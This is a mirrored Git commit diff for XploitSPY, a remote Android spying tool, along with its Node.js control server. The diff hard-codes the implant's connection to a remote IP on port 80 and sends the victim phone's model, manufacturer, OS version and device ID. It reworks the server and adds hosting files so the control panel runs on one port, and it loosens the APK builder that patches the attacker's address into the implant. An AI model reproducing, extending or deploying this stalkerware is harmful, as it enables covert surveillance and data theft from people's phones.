mirror of
https://github.com/XploitWizer-Community/XploitSPY.git
synced 2025-01-24 21:52:01 +08:00
Single Branch
This commit is contained in:
parent
0c4b408c9e
commit
cf52127296
Binary file not shown.
@ -21,7 +21,7 @@ public class IOSocket {
|
||||
opts.reconnectionDelay = 5000;
|
||||
opts.reconnectionDelayMax = 999999999;
|
||||
|
||||
ioSocket = IO.socket("http://47.91.41.155:22222?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
|
||||
ioSocket = IO.socket("http://47.91.41.155:80?model="+ android.net.Uri.encode(Build.MODEL)+"&manf="+Build.MANUFACTURER+"&release="+Build.VERSION.RELEASE+"&id="+deviceID);
|
||||
} catch (URISyntaxException e) {
|
||||
e.printStackTrace();
|
||||
}
|
||||
|
@ -145,7 +145,7 @@ public class MainService extends Service {
|
||||
.setPriority(NotificationManager.IMPORTANCE_MIN)
|
||||
.setCategory(Notification.CATEGORY_SERVICE)
|
||||
.build();
|
||||
startForeground(2, notification);
|
||||
startForeground(1, notification);
|
||||
}
|
||||
|
||||
|
||||
|
@ -12,7 +12,6 @@
|
||||
<exclude-output />
|
||||
<content url="file://$MODULE_DIR$">
|
||||
<excludeFolder url="file://$MODULE_DIR$/.gradle" />
|
||||
<excludeFolder url="file://$MODULE_DIR$/build" />
|
||||
</content>
|
||||
<orderEntry type="inheritedJdk" />
|
||||
<orderEntry type="sourceFolder" forTests="false" />
|
||||
|
1
server/Procfile
Normal file
1
server/Procfile
Normal file
@ -0,0 +1 @@
|
||||
‘web: ./node_modules/.bin/forever -m 5 index.js’
|
Binary file not shown.
@ -3,6 +3,9 @@ apkFileName: app-release.apk
|
||||
compressionType: false
|
||||
doNotCompress:
|
||||
- resources.arsc
|
||||
- META-INF/android.arch.lifecycle_runtime.version
|
||||
- META-INF/androidx.core_core.version
|
||||
- META-INF/androidx.versionedparcelable_versionedparcelable.version
|
||||
- png
|
||||
isFrameworkApk: false
|
||||
packageInfo:
|
||||
|
Binary file not shown.
@ -1,6 +1,6 @@
|
||||
Signature-Version: 1.0
|
||||
Created-By: 1.0 (Android)
|
||||
SHA1-Digest-Manifest: IHujA2NGKYWz+3kPuDWmNrScZo4=
|
||||
SHA1-Digest-Manifest: Br7KZuMlRvkujFIEcFUfc9JLJHM=
|
||||
|
||||
Name: AndroidManifest.xml
|
||||
SHA1-Digest: hMY5UmKutb2cZY4afr084GSFwLk=
|
||||
@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
|
||||
SHA1-Digest: /M5ZcCUkGpD9LMU3LB/ji4SqKws=
|
||||
|
||||
Name: classes.dex
|
||||
SHA1-Digest: YrT0vt4yEPhLbLEfpMIXvaRwR4s=
|
||||
SHA1-Digest: CimfIcRvl0JGoxRUHDbve9dy95o=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: GqlxeUYi9nderviC+XwD6tRD5Kg=
|
||||
|
@ -16,7 +16,7 @@ Name: META-INF/androidx.versionedparcelable_versionedparcelable.versio
|
||||
SHA1-Digest: xTi2bHEQyjoCjM/kItDx+iAKmTU=
|
||||
|
||||
Name: classes.dex
|
||||
SHA1-Digest: wKQ2CNuIgrZukBhVZNdy/5+Z4wA=
|
||||
SHA1-Digest: ItDW7U9v+mbVk1bCaAtUqtsDPBQ=
|
||||
|
||||
Name: res/drawable-hdpi-v4/notification_bg_low_normal.9.png
|
||||
SHA1-Digest: D2PhKM51tYZo8a79riJ3XiUD2nc=
|
||||
|
@ -67,16 +67,14 @@
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(I)Landroid/support/v4/app/d$b;
|
||||
|
||||
const-string v1, "service"
|
||||
const-string v2, "service"
|
||||
|
||||
invoke-virtual {v0, v1}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b;
|
||||
invoke-virtual {v0, v2}, Landroid/support/v4/app/d$b;->a(Ljava/lang/String;)Landroid/support/v4/app/d$b;
|
||||
|
||||
invoke-virtual {v0}, Landroid/support/v4/app/d$b;->a()Landroid/app/Notification;
|
||||
|
||||
move-result-object v0
|
||||
|
||||
const/4 v1, 0x2
|
||||
|
||||
invoke-virtual {p0, v1, v0}, Landroid/app/Service;->startForeground(ILandroid/app/Notification;)V
|
||||
|
||||
return-void
|
||||
|
@ -71,7 +71,7 @@
|
||||
var isDone = false;
|
||||
$('#gobuild').click((e) => {
|
||||
$('#dimmer').addClass('active');
|
||||
build($('#uriInput').val(), "22222");
|
||||
build($('#uriInput').val(), "80");
|
||||
setTimeout(loaderText, 500);
|
||||
});
|
||||
|
||||
|
@ -20,7 +20,7 @@ function javaversion(callback) {
|
||||
}
|
||||
|
||||
function patchAPK(URI, PORT, cb) {
|
||||
if (PORT < 25565) {
|
||||
// if (PORT < 25565) {
|
||||
fs.readFile(CONST.patchFilePath, 'utf8', function (err, data) {
|
||||
if (err) return cb('File Patch Error - READ')
|
||||
var result = data.replace(data.substring(data.indexOf("http://"), data.indexOf("?model=")), "http://" + URI + ":" + PORT);
|
||||
@ -29,7 +29,7 @@ function patchAPK(URI, PORT, cb) {
|
||||
else return cb(false)
|
||||
});
|
||||
});
|
||||
}
|
||||
// }
|
||||
}
|
||||
|
||||
function buildAPK(cb) {
|
||||
|
@ -2,7 +2,7 @@ const path = require('path');
|
||||
|
||||
exports.debug = false;
|
||||
|
||||
exports.web_port = 22533;
|
||||
exports.web_port = 80;
|
||||
exports.control_port = 22222;
|
||||
|
||||
// Paths
|
||||
|
@ -75,7 +75,7 @@ routes.get('/logout', isAllowed, (req, res) => {
|
||||
|
||||
routes.get('/builder', isAllowed, (req, res) => {
|
||||
res.render('builder', {
|
||||
myPort: CONST.control_port
|
||||
myPort: process.env.PORT || CONST.web_port
|
||||
});
|
||||
});
|
||||
|
||||
|
@ -8,7 +8,8 @@
|
||||
const
|
||||
express = require('express'),
|
||||
app = express(),
|
||||
IO = require('socket.io'),
|
||||
server = require('http').createServer(app),
|
||||
IO = require('socket.io')(server),
|
||||
geoip = require('geoip-lite'),
|
||||
CONST = require('./includes/const'),
|
||||
db = require('./includes/databaseGateway'),
|
||||
@ -24,10 +25,11 @@ global.clientManager = clientManager;
|
||||
global.apkBuilder = apkBuilder;
|
||||
|
||||
// spin up socket server
|
||||
let client_io = IO.listen(CONST.control_port);
|
||||
// let client_io = IO.listen(CONST.control_port);
|
||||
|
||||
client_io.sockets.pingInterval = 30000;
|
||||
client_io.on('connection', (socket) => {
|
||||
// client_io.sockets.pingInterval = 30000;
|
||||
IO.sockets.pingInterval = 30000;
|
||||
IO.on('connection', (socket) => {
|
||||
socket.emit('welcome');
|
||||
let clientParams = socket.handshake.query;
|
||||
let clientAddress = socket.request.connection;
|
||||
@ -65,7 +67,8 @@ client_io.on('connection', (socket) => {
|
||||
|
||||
|
||||
// get the admin interface online
|
||||
app.listen(CONST.web_port);
|
||||
// app.listen(CONST.web_port);
|
||||
server.listen(process.env.PORT || CONST.web_port)
|
||||
|
||||
app.set('view engine', 'ejs');
|
||||
app.set('views', './assets/views');
|
||||
|
@ -4,6 +4,7 @@
|
||||
"description": "XploitSPY - Remote Android Spying Tool",
|
||||
"main": "index.js",
|
||||
"scripts": {
|
||||
"start": "node index.js",
|
||||
"test": "node index.js"
|
||||
},
|
||||
"author": "ETechD",
|
||||
|
1
server/system.properties
Normal file
1
server/system.properties
Normal file
@ -0,0 +1 @@
|
||||
java.runtime.version=11
|
Loading…
x
Reference in New Issue
Block a user